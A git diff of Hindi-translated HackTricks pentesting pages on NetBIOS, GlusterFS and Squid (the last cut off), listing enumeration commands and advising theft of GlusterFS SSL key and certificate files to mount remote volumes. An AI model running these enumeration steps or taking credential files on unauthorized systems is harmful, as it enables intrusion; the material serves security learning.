* **हैकिंग ट्रिक्स साझा करें PRs को** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में सबमिट करके।
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) पर **फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,67 +1,68 @@
|
||||||
# 137,138,139 - पेंटेस्टिंग नेटबायोस
|
# 137,138,139 - Pentesting NetBios
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## नेटबायोस नाम सेवा
|
## NetBios Name Service
|
||||||
|
|
||||||
**नेटबायोस नाम सेवा** महत्वपूर्ण भूमिका निभाती है, जिसमें **नाम पंजीकरण और संकलन**, **डेटाग्राम वितरण**, और **सत्र सेवाएं** शामिल हैं, प्रत्येक सेवा के लिए विशेष पोर्ट का उपयोग करती है।
|
**NetBIOS Name Service** एक महत्वपूर्ण भूमिका निभाता है, जिसमें **नाम पंजीकरण और समाधान**, **डेटाग्राम वितरण**, और **सत्र सेवाएँ** शामिल हैं, प्रत्येक सेवा के लिए विशिष्ट पोर्ट का उपयोग करते हुए।
|
||||||
|
|
||||||
[विकिपीडिया से](https://en.wikipedia.org/wiki/NetBIOS_over_TCP/IP):
|
[From Wikidepia](https://en.wikipedia.org/wiki/NetBIOS_over_TCP/IP):
|
||||||
|
|
||||||
* नाम सेवा नाम पंजीकरण और संकलन के लिए (पोर्ट: 137/udp और 137/tcp)।
|
* नाम पंजीकरण और समाधान के लिए नाम सेवा (पोर्ट: 137/udp और 137/tcp)।
|
||||||
* डेटाग्राम वितरण सेवा बिना कनेक्शन के संचार के लिए (पोर्ट: 138/udp)।
|
* कनेक्शन रहित संचार के लिए डेटाग्राम वितरण सेवा (पोर्ट: 138/udp)।
|
||||||
* सत्र सेवा कनेक्शन-संबंधी संचार के लिए (पोर्ट: 139/tcp)।
|
* कनेक्शन उन्मुख संचार के लिए सत्र सेवा (पोर्ट: 139/tcp)।
|
||||||
|
|
||||||
### नाम सेवा
|
### Name Service
|
||||||
|
|
||||||
नेटबायोस नेटवर्क में एक उपकरण को भागीदारी करने के लिए, उसे एक अद्वितीय नाम होना चाहिए। यह एक **प्रसारण प्रक्रिया** के माध्यम से प्राप्त किया जाता है जहां "नाम क्वेरी" पैकेट भेजा जाता है। यदि कोई आपत्ति नहीं मिलती है, तो नाम को उपलब्ध माना जाता है। वैकल्पिक रूप से, नाम की उपलब्धता की जांच के लिए एक **नाम सेवा सर्वर** सीधे पूछा जा सकता है या नाम को एक आईपी पते में विचार करने के लिए। `nmblookup`, `nbtscan`, और `nmap` जैसे उपकरणों का उपयोग नेटबायोस सेवाओं की गणना के लिए किया जाता है, सर्वर नाम और MAC पते को प्रकट करते हैं।
|
किसी डिवाइस को NetBIOS नेटवर्क में भाग लेने के लिए, इसका एक अद्वितीय नाम होना चाहिए। यह एक **ब्रॉडकास्ट प्रक्रिया** के माध्यम से प्राप्त किया जाता है जहाँ एक "Name Query" पैकेट भेजा जाता है। यदि कोई आपत्ति नहीं मिलती है, तो नाम उपलब्ध माना जाता है। वैकल्पिक रूप से, नाम उपलब्धता की जांच करने या किसी नाम को IP पते में हल करने के लिए सीधे **Name Service सर्वर** से पूछताछ की जा सकती है। `nmblookup`, `nbtscan`, और `nmap` जैसे उपकरणों का उपयोग NetBIOS सेवाओं की गणना के लिए किया जाता है, जो सर्वर नाम और MAC पते को प्रकट करते हैं।
|
||||||
```bash
|
```bash
|
||||||
PORT STATE SERVICE VERSION
|
PORT STATE SERVICE VERSION
|
||||||
137/udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP)
|
137/udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP)
|
||||||
```
|
```
|
||||||
एक NetBIOS सेवा को जांचते समय आप सर्वर द्वारा उपयोग किए जा रहे नाम और सर्वर का MAC पता प्राप्त कर सकते हैं।
|
नेटबीओस सेवा की गणना करते समय, आप सर्वर द्वारा उपयोग किए जा रहे नामों और सर्वर के मैक पते को प्राप्त कर सकते हैं।
|
||||||
```bash
|
```bash
|
||||||
nmblookup -A <IP>
|
nmblookup -A <IP>
|
||||||
nbtscan <IP>/30
|
nbtscan <IP>/30
|
||||||
sudo nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n <IP>
|
sudo nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n <IP>
|
||||||
```
|
```
|
||||||
### डेटाग्राम वितरण सेवा
|
### Datagram Distribution Service
|
||||||
|
|
||||||
NetBIOS डेटाग्राम UDP के माध्यम से बिना कनेक्शन के संचार की अनुमति देते हैं, सीधे संदेश या सभी नेटवर्क नामों को प्रसारित करने का समर्थन करते हैं। यह सेवा **138/udp** पोर्ट का उपयोग करती है।
|
NetBIOS डाटाग्राम कनेक्शन रहित संचार की अनुमति देते हैं UDP के माध्यम से, सीधे संदेश भेजने या सभी नेटवर्क नामों को प्रसारण करने का समर्थन करते हैं। यह सेवा पोर्ट **138/udp** का उपयोग करती है।
|
||||||
```bash
|
```bash
|
||||||
PORT STATE SERVICE VERSION
|
PORT STATE SERVICE VERSION
|
||||||
138/udp open|filtered netbios-dgm
|
138/udp open|filtered netbios-dgm
|
||||||
```
|
```
|
||||||
### सत्र सेवा
|
### Session Service
|
||||||
|
|
||||||
कनेक्शन-संबंधित अंतरक्रियाओं के लिए, **सत्र सेवा** दो उपकरणों के बीच एक वार्ता सुविधा प्रदान करती है, **TCP** कनेक्शन का लाभ उठाते हुए **139/tcp** पोर्ट के माध्यम से. एक सत्र "सत्र अनुरोध" पैकेट के साथ शुरू होता है और प्रतिक्रिया के आधार पर स्थापित किया जा सकता है. सेवा बड़े संदेशों, त्रुटि पहचान, और पुनर्प्राप्ति का समर्थन करती है, जिसमें TCP फ्लो नियंत्रण और पैकेट पुन:प्रस्तुति का संचालन करता है.
|
कनेक्शन-उन्मुख इंटरैक्शनों के लिए, **Session Service** दो उपकरणों के बीच बातचीत को सुविधाजनक बनाता है, **TCP** कनेक्शनों का उपयोग करते हुए पोर्ट **139/tcp** के माध्यम से। एक सत्र "Session Request" पैकेट के साथ शुरू होता है और प्रतिक्रिया के आधार पर स्थापित किया जा सकता है। यह सेवा बड़े संदेशों, त्रुटि पहचान और पुनर्प्राप्ति का समर्थन करती है, जिसमें TCP प्रवाह नियंत्रण और पैकेट पुनःप्रसारण को संभालता है।
|
||||||
|
|
||||||
सत्र के भीतर डेटा प्रेषण **सत्र संदेश पैकेट** में होता है, सत्रों को TCP कनेक्शन बंद करके समाप्त किया जाता है.
|
एक सत्र के भीतर डेटा संचरण में **Session Message packets** शामिल होते हैं, और सत्रों को TCP कनेक्शन को बंद करके समाप्त किया जाता है।
|
||||||
|
|
||||||
ये सेवाएं **NetBIOS** कार्यक्षमता के लिए अभिन्न हैं, जो नेटवर्क के अधिकारियों के बीच कुशल संचार और संसाधन साझा करने की सुविधा प्रदान करती हैं. TCP और IP प्रोटोकॉल्स पर अधिक जानकारी के लिए, उनके संबंधित [TCP Wikipedia](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) और [IP Wikipedia](https://en.wikipedia.org/wiki/Internet_Protocol) पेज पर संदर्भित करें।
|
ये सेवाएँ **NetBIOS** कार्यक्षमता के लिए अनिवार्य हैं, जो नेटवर्क के पार कुशल संचार और संसाधन साझा करने को सक्षम बनाती हैं। TCP और IP प्रोटोकॉल के बारे में अधिक जानकारी के लिए, उनके संबंधित [TCP Wikipedia](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) और [IP Wikipedia](https://en.wikipedia.org/wiki/Internet_Protocol) पृष्ठों पर जाएँ।
|
||||||
```bash
|
```bash
|
||||||
PORT STATE SERVICE VERSION
|
PORT STATE SERVICE VERSION
|
||||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||||
```
|
```
|
||||||
**इस सेवा को एनुमरेट करने के लिए अगले पेज को पढ़ें:**
|
**इस सेवा को सूचीबद्ध करने के लिए अगली पृष्ठ पढ़ें:**
|
||||||
|
|
||||||
{% content-ref url="137-138-139-pentesting-netbios.md" %}
|
{% content-ref url="137-138-139-pentesting-netbios.md" %}
|
||||||
[137-138-139-pentesting-netbios.md](137-138-139-pentesting-netbios.md)
|
[137-138-139-pentesting-netbios.md](137-138-139-pentesting-netbios.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## HackTricks स्वचालित कमांड
|
## HackTricks स्वचालित आदेश
|
||||||
```
|
```
|
||||||
Protocol_Name: Netbios #Protocol Abbreviation if there is one.
|
Protocol_Name: Netbios #Protocol Abbreviation if there is one.
|
||||||
Port_Number: 137,138,139 #Comma separated if there is more than one.
|
Port_Number: 137,138,139 #Comma separated if there is more than one.
|
||||||
|
@ -84,16 +85,17 @@ Name: Find Names
|
||||||
Description: Three scans to find the names of the server
|
Description: Three scans to find the names of the server
|
||||||
Command: nmblookup -A {IP} &&&& nbtscan {IP}/30 &&&& nmap -sU -sV -T4 --script nbstat.nse -p 137 -Pn -n {IP}
|
Command: nmblookup -A {IP} &&&& nbtscan {IP}/30 &&&& nmap -sU -sV -T4 --script nbstat.nse -p 137 -Pn -n {IP}
|
||||||
```
|
```
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>HackTricks का समर्थन करें</summary>
|
||||||
|
|
||||||
दूसरे तरीके HackTricks का समर्थन करने के लिए:
|
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||||
|
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह **The PEASS Family** की खोज करें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,46 +1,62 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें** हैकट्रिक्स** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos को PR जमा करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
# मूल जानकारी
|
# Basic Information
|
||||||
|
|
||||||
**GlusterFS** एक **वितरित फ़ाइल सिस्टम** है जो कई सर्वरों से स्टोरेज को एक **एकीकृत सिस्टम** में जोड़ता है। यह **अनियमित स्केलेबिलिटी** की अनुमति देता है, जिसका मतलब है कि आप आसानी से स्टोरेज सर्वर जोड़ सकते हैं या हटा सकते हैं बिना कुल फ़ाइल सिस्टम को बाधित किए। यह आपके डेटा के लिए उच्च **उपलब्धता** और **क्षमता** सुनिश्चित करता है। GlusterFS के साथ, आप अपने फ़ाइलों तक पहुँच सकते हैं जैसे कि वे स्थानीय रूप से स्टोर किए गए हों, चाहे उपस्थित सर्वर बुनियादी ढांचे को हो। यह एक शक्तिशाली और लचीला समाधान प्रदान करता है बड़ी मात्रा में डेटा को कई सर्वरों पर प्रबंधित करने के लिए।
|
**GlusterFS** एक **वितरित फ़ाइल प्रणाली** है जो कई सर्वरों से संग्रहण को एक **एकीकृत प्रणाली** में जोड़ती है। यह **मनमाने पैमाने** की अनुमति देती है, जिसका अर्थ है कि आप बिना समग्र फ़ाइल प्रणाली को बाधित किए आसानी से संग्रहण सर्वर जोड़ या हटा सकते हैं। यह आपके डेटा के लिए उच्च **उपलब्धता** और **दोष सहिष्णुता** सुनिश्चित करता है। GlusterFS के साथ, आप अपनी फ़ाइलों तक ऐसे पहुंच सकते हैं जैसे कि वे स्थानीय रूप से संग्रहीत हैं, चाहे अंतर्निहित सर्वर अवसंरचना कुछ भी हो। यह कई सर्वरों के बीच बड़े मात्रा में डेटा प्रबंधित करने के लिए एक शक्तिशाली और लचीला समाधान प्रदान करता है।
|
||||||
|
|
||||||
**डिफ़ॉल्ट पोर्ट**: 24007/tcp/udp, 24008/tcp/udp, 49152/tcp (आगे)\
|
**डिफ़ॉल्ट पोर्ट**: 24007/tcp/udp, 24008/tcp/udp, 49152/tcp (से आगे)\
|
||||||
पोर्ट 49152 के लिए, 1 से बढ़ते हुए पोर्ट खोलने की आवश्यकता है अधिक bricks का उपयोग करने के लिए। _पहले पोर्ट 24009 का उपयोग 49152 के बजाय किया गया था।_
|
पोर्ट 49152 के लिए, अधिक ईंटों का उपयोग करने के लिए 1 से बढ़ते पोर्ट खुले होने चाहिए। _पहले पोर्ट 24009 का उपयोग 49152 के बजाय किया गया था._
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE
|
PORT STATE SERVICE
|
||||||
24007/tcp open rpcbind
|
24007/tcp open rpcbind
|
||||||
49152/tcp open ssl/unknown
|
49152/tcp open ssl/unknown
|
||||||
```
|
```
|
||||||
## जांच
|
## Enumeration
|
||||||
|
|
||||||
इस फ़ाइल सिस्टम के साथ बातचीत करने के लिए आपको [**GlusterFS client**](https://download.gluster.org/pub/gluster/glusterfs/LATEST/) को इंस्टॉल करना होगा (`sudo apt-get install glusterfs-cli`).
|
इस फ़ाइल सिस्टम के साथ इंटरैक्ट करने के लिए आपको [**GlusterFS client**](https://download.gluster.org/pub/gluster/glusterfs/LATEST/) (`sudo apt-get install glusterfs-cli`) स्थापित करने की आवश्यकता है।
|
||||||
|
|
||||||
उपलब्ध वॉल्यूम की सूची देखने और माउंट करने के लिए आप इस्तेमाल कर सकते हैं:
|
उपलब्ध वॉल्यूम को सूचीबद्ध करने और माउंट करने के लिए आप उपयोग कर सकते हैं:
|
||||||
```bash
|
```bash
|
||||||
sudo gluster --remote-host=10.10.11.131 volume list
|
sudo gluster --remote-host=10.10.11.131 volume list
|
||||||
# This will return the name of the volumes
|
# This will return the name of the volumes
|
||||||
|
|
||||||
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/
|
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/
|
||||||
```
|
```
|
||||||
यदि आपको **फाइल सिस्टम को माउंट करने में त्रुटि** मिलती है, तो आप `/var/log/glusterfs/` में लॉग जांच सकते हैं।
|
यदि आपको **फाइल सिस्टम को माउंट करने में त्रुटि मिलती है**, तो आप `/var/log/glusterfs/` में लॉग की जांच कर सकते हैं।
|
||||||
|
|
||||||
**प्रमाणपत्रों का उल्लेख करने वाली त्रुटियों** को ठीक करने के लिए आप फ़ाइलें चुरा सकते हैं (अगर आपके पास सिस्टम तक पहुंच है):
|
**सर्टिफिकेट का उल्लेख करने वाली त्रुटियों** को फाइलों को चुराकर ठीक किया जा सकता है (यदि आपके पास सिस्टम तक पहुंच है):
|
||||||
|
|
||||||
* /etc/ssl/glusterfs.ca
|
* /etc/ssl/glusterfs.ca
|
||||||
* /etc/ssl/glusterfs.key
|
* /etc/ssl/glusterfs.key
|
||||||
* /etc/ssl/glusterfs.ca.pem
|
* /etc/ssl/glusterfs.ca.pem
|
||||||
|
|
||||||
और उन्हें अपनी मशीन `/etc/ssl` या `/usr/lib/ssl` निर्देशिका में स्टोर करें (यदि एक विभिन्न निर्देशिका का उपयोग किया गया है तो लॉग में "_हमारा प्रमाणपत्र /usr/lib/ssl/glusterfs.pem पर लोड नहीं कर सकते_" जैसी लाइनों की जांच करें)।
|
और उन्हें अपनी मशीन के `/etc/ssl` या `/usr/lib/ssl` निर्देशिका में स्टोर करें (यदि कोई अलग निर्देशिका का उपयोग किया गया है तो लॉग में "_could not load our cert at /usr/lib/ssl/glusterfs.pem_" जैसी पंक्तियों की जांच करें)।
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,62 +1,64 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ</strong>!</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
दूसरे तरीके HackTricks का समर्थन करने के लिए:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) पर **फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
# मूल जानकारी
|
# Basic Information
|
||||||
|
|
||||||
[Wikipedia](https://en.wikipedia.org/wiki/Squid\_\(software\)) से:
|
From [Wikipedia](https://en.wikipedia.org/wiki/Squid\_\(software\)):
|
||||||
|
|
||||||
> **Squid** एक कैशिंग और फॉरवर्डिंग HTTP वेब प्रॉक्सी है। इसका व्यापक उपयोग है, जिसमें एक वेब सर्वर को दोहराए गए अनुरोधों को कैश करके वेब सर्वर की गति बढ़ाना, एक समूह के लोगों के लिए वेब, DNS और अन्य कंप्यूटर नेटवर्क खोजों को कैश करना, और सुरक्षा में मदद करना द्वारा ट्रैफिक को फ़िल्टर करना। हालांकि प्राथमिक रूप से HTTP और FTP के लिए उपयोग किया जाता है, Squid में इंटरनेट गोफर, SSL, TLS और HTTPS सहित कई अन्य प्रोटोकॉलों के लिए सीमित समर्थन शामिल है। Squid में SOCKS प्रोटोकॉल का समर्थन नहीं है, जिसके विपरीत, Privoxy के साथ उपयोग किया जा सकता है ताकि Squid SOCKS समर्थन प्रदान कर सके।
|
> **Squid** एक कैशिंग और फॉरवर्डिंग HTTP वेब प्रॉक्सी है। इसके कई उपयोग हैं, जिसमें एक वेब सर्वर को कैशिंग द्वारा तेज करना, एक समूह के लिए वेब, DNS और अन्य कंप्यूटर नेटवर्क लुकअप को कैश करना, और ट्रैफ़िक को फ़िल्टर करके सुरक्षा में सहायता करना शामिल है। हालांकि मुख्य रूप से HTTP और FTP के लिए उपयोग किया जाता है, Squid में इंटरनेट गोफर, SSL, TLS और HTTPS सहित कई अन्य प्रोटोकॉल के लिए सीमित समर्थन शामिल है। Squid SOCKS प्रोटोकॉल का समर्थन नहीं करता है, Privoxy के विपरीत, जिसके साथ Squid SOCKS समर्थन प्रदान करने के लिए उपयोग किया जा सकता है।
|
||||||
|
|
||||||
**डिफ़ॉल्ट पोर्ट:** 3128
|
**Default port:** 3128
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE VERSION
|
PORT STATE SERVICE VERSION
|
||||||
3128/tcp open http-proxy Squid http proxy 4.11
|
3128/tcp open http-proxy Squid http proxy 4.11
|
||||||
```
|
```
|
||||||
# जांच
|
# Enumeration
|
||||||
|
|
||||||
## वेब प्रॉक्सी
|
## Web Proxy
|
||||||
|
|
||||||
आप इस खोजी गई सेवा को अपने ब्राउज़र में प्रॉक्सी के रूप में सेट करने का प्रयास कर सकते हैं। हालांकि, यदि यह HTTP प्रमाणीकरण के साथ कॉन्फ़िगर किया गया है तो आपसे उपयोक्ता नाम और पासवर्ड के लिए पूछा जाएगा।
|
आप इस खोजे गए सेवा को अपने ब्राउज़र में प्रॉक्सी के रूप में सेट करने की कोशिश कर सकते हैं। हालाँकि, यदि इसे HTTP प्रमाणीकरण के साथ कॉन्फ़िगर किया गया है, तो आपको उपयोगकर्ता नाम और पासवर्ड के लिए संकेत दिया जाएगा।
|
||||||
```bash
|
```bash
|
||||||
# Try to proxify curl
|
